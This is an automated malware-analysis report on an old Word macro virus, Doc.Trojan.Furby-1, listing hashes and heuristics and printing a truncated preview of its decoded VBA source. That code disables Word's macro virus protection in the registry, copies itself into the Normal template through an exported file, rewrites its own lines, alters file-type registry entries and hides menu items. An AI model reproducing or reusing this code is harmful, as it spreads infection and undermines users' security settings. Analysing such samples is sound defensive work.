Doc.Trojan.Furby-1 — Office (OLE) malware analysis

Static analysis result for SHA-256 755afa53ad9add6a…

MALICIOUS

Office (OLE)

31.0 KB Created: 1998-12-14 22:49:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7fe860404c2a6c540ce7889c1f0241e2 SHA-1: 669927d5f51796f60144206a5b4196f59b130529 SHA-256: 755afa53ad9add6a0c6493b70fcbca2bb9775d369820b8675b7f9cb9bd95d694
240 Risk Score

Malware Insights

Doc.Trojan.Furby-1 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic and VBA macros, including AutoOpen and AutoClose routines, which are indicative of malware. The ClamAV detection name 'Doc.Trojan.Furby-1' strongly suggests this family. The macros attempt to modify registry keys related to Microsoft Office applications, likely as part of an infection or persistence mechanism.

Heuristics 5

  • ClamAV: Doc.Trojan.Furby-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Furby-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16623 bytes
SHA-256: cbd18dcc7c749988ddeaa90640431c36b5a19cd0a38b4593874741b555677593
Detection
ClamAV: Doc.Trojan.Furby-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On Error GoTo furby
Options.VirusProtection = Chr(48): Options.SaveNormalPrompt = Chr(48): Options.ConfirmConversions = Chr(48): zz = 5: vx = 1: xv = 4: x = 0: z = 0: y = 0
rtx = ActiveDocument.VBProject.VBComponents.Item(Cos(Atn(CInt(1)))).codemodule.countoflines

stx = NormalTemplate.VBProject.VBComponents.Item(Cos(Atn(CInt(1)))).codemodule.countoflines
If stx > Sgn(x) And rtx > Sgn(x) Then GoTo furby
If stx = Sgn(x) Then
    Set xyz = NormalTemplate.VBProject.VBComponents

    Set xhst = ActiveDocument.VBProject.VBComponents
    If Month(Now()) = 1 And Day(Now()) = 13 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\Word.Document.8", "") = "It's Furby!"
    If Month(Now()) = 2 And Day(Now()) = 13 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\Word.Addin.8", "") = "Microsoft Furby Addin"
    If Month(Now()) = 3 And Day(Now()) = 13 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\Word.Document.8", "") = "Word Furby Document"

    If Month(Now()) = 4 And Day(Now()) = 13 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\Word.Application.8", "") = "Microsoft Furby Application"
    If Month(Now()) = 5 And Day(Now()) = 13 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\Word.Template.8", "") = "Microsoft Furby Template"
    If Month(Now()) = 6 And Day(Now()) = 13 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\PowerPoint.Template.8", "") = "PowerPoint Furby Template"
    If Month(Now()) = 7 And Day(Now()) = 13 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\Word.RTF.8", "") = "Rich Furby Format"

    If Month(Now()) = 8 And Day(Now()) = 13 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\Word.Wizard.8", "") = "Microsoft Furby Wizard"
    If Month(Now()) = 9 And Day(Now()) = 13 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\Word.Picture.8", "") = "Microsoft Furby Picture"
    If Month(Now()) = 10 And Day(Now()) = 13 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\PowerPoint.Show.8", "") = "Microsoft Furby Presentation"
    If Month(Now()) = 11 And Day(Now()) = 13 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\ExcelWorksheet", "") = "Microsoft Furby Worksheet"

    If Month(Now()) = 12 And Day(Now()) = 13 Then System.PrivateProfileString("", "HKEY_CLASSES_ROOT\PowerPoint.Slide.8", "") = "Microsoft Furby Slide"
    xhst.Item(Cos(Atn(CInt(1)))).Name = xyz.Item(Cos(Atn(CInt(1)))).Name
    xhst.Item(Cos(Atn(CInt(1)))).Export Windows.Application.Path & Abs(vx) & Chr(46) + Chr(100) + Chr(108) + Chr(108)
End If

If rtx = Sgn(x) Then Set xyz = ActiveDocument.VBProject.VBComponents
xyz.Item(Cos(Atn(CInt(1)))).codemodule.AddFromFile Windows.Application.Path & Abs(vx) & Chr(46) + Chr(100) + Chr(108) + Chr(108)
With xyz.Item(Cos(Atn(CInt(1)))).codemodule
    For j = Abs(vx) To Abs(xv)

    .deletelines Abs(vx)
        Next j
End With
With xyz.Item(Cos(Atn(CInt(1)))).codemodule

 For j = Abs(zz) To xyz.Item(Cos(Atn(CInt(1)))).codemodule.countoflines Step Abs(zz)
    y = Int(Rnd(412835) * 303989) + 8485
    z = Int(Rnd(487958) * 785865) + 2988
    .replaceline j, Chr(39) & y * z & z * y & y * z

    Next j
 End With
System.PrivateProfileString("", "HKEY_USERS\.Default\Software\Microsoft\Office\8.0\Word\Options", "EnableMacroVirusProtection") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Word\Options", "EnableMacroVirusProtection") = "0"

If stx = Sgn(x) Then CommandBars(Chr(116) + Chr(111) + Chr(111) + Chr(108) + Chr(115)).Controls(Chr(77) + Chr(97) + Chr(99) + Chr(114) + Chr(111)).Delete
If stx = Sgn(x) Then CommandBars(Chr(116) + Chr(111) + Chr(111) + Chr(108) + Chr(115)).Controls(Chr(79) + Chr(112) + Chr(116) + Chr(105) + Chr(111) + Chr(110) + Chr(115) + Chr(46) + Chr(46) + Chr(46)).Delete
If stx = Sgn(x) 
... (truncated)

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